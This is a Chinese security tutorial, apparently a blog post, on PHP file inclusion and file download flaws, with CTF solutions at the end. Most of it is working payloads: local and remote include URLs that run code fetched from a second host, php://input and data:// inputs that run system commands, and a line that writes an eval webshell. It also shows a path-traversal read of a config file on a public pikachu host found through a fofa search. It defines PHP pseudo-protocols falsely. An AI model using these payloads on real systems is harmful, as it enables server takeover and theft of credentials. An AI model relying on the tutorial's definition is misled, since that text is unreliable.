一、漏洞检测与危害
概念
文件包含前面已经演示过,在真实的开发项目中,文件包含可以节省重复代码
文件包含:将指定的文件当代码执行
文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)
检测
检测是否有该漏洞
白盒:通过代码审计的方式
黑盒:扫描工具、公开的漏洞,手动看参数以及功能点。
二、文件本地与远程包含
文件包含有本地包含与远程包含的区别,本地包含只能包含服务器已经有的问题,如果服务
器没有需要包含的文件需要配合其他漏洞使用(文件上传漏洞)
远程包含可以包含一切网络上的文件,所以危害性要比本地包含大
1、本地包含
- 无限制 就是没有限制
案例1
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
<?php
phpinfo();
?>
这就是个简单的包含案例,把 1.txt里面的文件变成了可以执行的代码
- 有限制
就是包含的文件是有一定限制的,为了正确包含进去,需要适当绕过
案例2
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
<?php
phpinfo();
?>
- 00 截断
00 截断在前面的案例讲过(00阶段分为两种:BP爆破或转轮、URL地址截断)
- 长度截断
原理:windows 长度命名长度限制 256 个字符(由于磁盘分区需要占用一个字符,所以用户只
能使用 255 个字符命名文件夹。)linux 长度限制 4096.
http://localhost/include/upload2.php?filename=1.txt....................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
...........................................................................................
2、远程包含
远程包含危害比本地包含危害更大,所以需要额外的权限才能打开
allow_url_include 配置专门针对 PHP 的 include、include_once、 require 及require_once 语句。当allow_url_include 被设置为 On 时,PHP 允许通过 URL 的形式,从远程服务器 包含和执行 PHP 文件。
无限制
案例1
在远程虚拟机服务器使用win2012搭建环境,上传一句马
<?php
phpinfo();
?>
在本地访问 http://192.168.254.132/1.txt
http://localhost/include/upload.php?filename=http://192.168.254.132/1.txt
有限制
案例2
访问:http://localhost/include/upload2.php?filename=http://192.168.254.132/1.txt
绕过方式
-
文件名绕过
远程文件是可控的,把上传文件修改成 1.txt.html,访问地址不变
http://localhost/include/upload2.php?filename=http://192.168.254.132/1.txt
-
空格绕过
%23 代表#。传参的方式,可以用来绕过(需要把上传文件1.txt.html修改回1.txt)
http://localhost/include/upload2.php?filename=http://192.168.254.132/1.txt%23
http://localhost/include/upload2.php?filename=http://192.168.254.132/1.txt?
三、常见脚本语言伪协议
PHP 伪协议(PHP Protocol Override)是一种在 PHP 处理数据时,通过替换数据报的头部信息来欺骗网络协议的方式来提高性能的技术。
PHP 支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
http://、https:// 解读
URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含。
- 案例
http://localhost/include/upload.php?filename=http://192.168.254.132/1.txt
filter 解读
php://filter 用于读取源码
参数详解
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
---|---|
read=<读链的过滤器> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用的过滤器列表(4 类)
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于 str_rot13(),rot13 变换 |
string.toupper | 等同于 strtoupper(),转大写字母 |
string.tolower | 等同于 strtolower(),转小写字母 |
string.strip_tags | 等同于 strip_tags(),去除 html、PHP 语言标签 |
转换过滤器 | 作用 |
convert.base64-encode & convert.base64- decode | 等同于 base64_encode()和 base64_decode(), base64 编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方 法,但不产生命令行工具如 gzip 的头和尾信 息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2兼容文件的方法。 |
加密过滤器 | 作用 |
mcrypt.* libmcrypt | 对称加密算法 |
mdecrypt.* libmcrypt | 对称解密算法 |
- 案例
读取 upload.php 文件以 base64 编码输出。http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
BASE64编码:PD9waHAKJGZpbGVuYW1lPSRfR0VUWydmaWxlbmFtZSddOwppbmNsdWRlICggJGZpbGVuYW1lKTsKPz4=
BASE64解码:
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
input 解读
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA 部分]
<?php phpinfo(); ?>
- 案例
查看服务器版本
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php system('ver')?>
执行 ipconfig
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php system('ipconfig')?>
一句马
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
file 解读
用于访问本地文件系统,file://需要的是完整的路径。
- 案例
访问 hosts 文件
http://localhost/include/upload.php?
filename=file:///C:\Windows\System32\drivers\etc\hosts
data 解读
以传递相应格式的数据,通常可以用来执行PHP代码。
- 案例
http://localhost/include/upload.php?filename=data://text/plain,<?phpinfo();?>
http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
- 案例 南邮 ctf
https://chinalover.sinaapp.com/web7/
访问:
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
BASE64编码:
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC
5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0
cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2
ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
四、文件包含漏洞修复与防御
使用 WAF、固定文件、固定后缀。
五、文件下载/读取漏洞
与文件包含类似,通过下载的方式获取文件。
-
案例 1: pikachu 文件下载
fofa.info "pikachu" && country="CN" && title="Get the pikachu"
http://47.93.255.105:81/vul/unsafedownload/down_nba.php
下载地址:http://47.93.255.105:81/vul/unsafedownload/execdownload.php?filename=kb.png
图片地址:http://47.93.255.105:81/vul/unsafedownload/download/kb.png
扫描地址:http://47.93.255.105:81/inc/config.inc.php
下载文件 http://47.93.255.105:81/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
- 案例 2 [RoarCTF 202019]Easy Java
URL:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java
启动靶机,用户名、密码未知,只可以点击help,help仅有有用线索提供help文件下载URL,一般情况下该地址为POST格式,因此对该URL进行拆分。
请求首行:http://190ff69e-fe9a-404d-9cdb-31c73209adf7.node5.buuoj.cn:81/Download
请求体:filename=help.docx
出现下载文件提示,下载后打开help.word文件
该题目为java题目,参考Java语言体系涉及
请求首行:http://e7bf55f1-e57e-4280-aa5a-bdad755b32d6.node4.buuoj.cn:81/Download
请求体:filename=WEB-INF/web.xml
依然提示文件下载
下载文件名为 WEB-INF_web.xml,该文件为java的配置文件,因此需要在该配置文件寻找FLAG相关信息。
根据Java规范需要下载Class文件获取FLAG信息
http://e7bf55f1-e57e-4280-aa5a-bdad755b32d6.node4.buuoj.cn:81/Download?
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
提示下载class文件:WEB-INF_classes_com_wm_ctf_FlagController.class
获取FLAG信息
ZmxhZ3s0NDBlYzFmMi0yYWVmLTQwNzAtOTRjOS0wYjNhMzk0MGE3NjB9Cg==
BASE64解码获取FLAG信息
flag{440ec1f2-2aef-4070-94c9-0b3a3940a760}
标签:文件,php,http,包含,filename,localhost,include,下载
From: https://www.cnblogs.com/zhangwei0885/p/18026422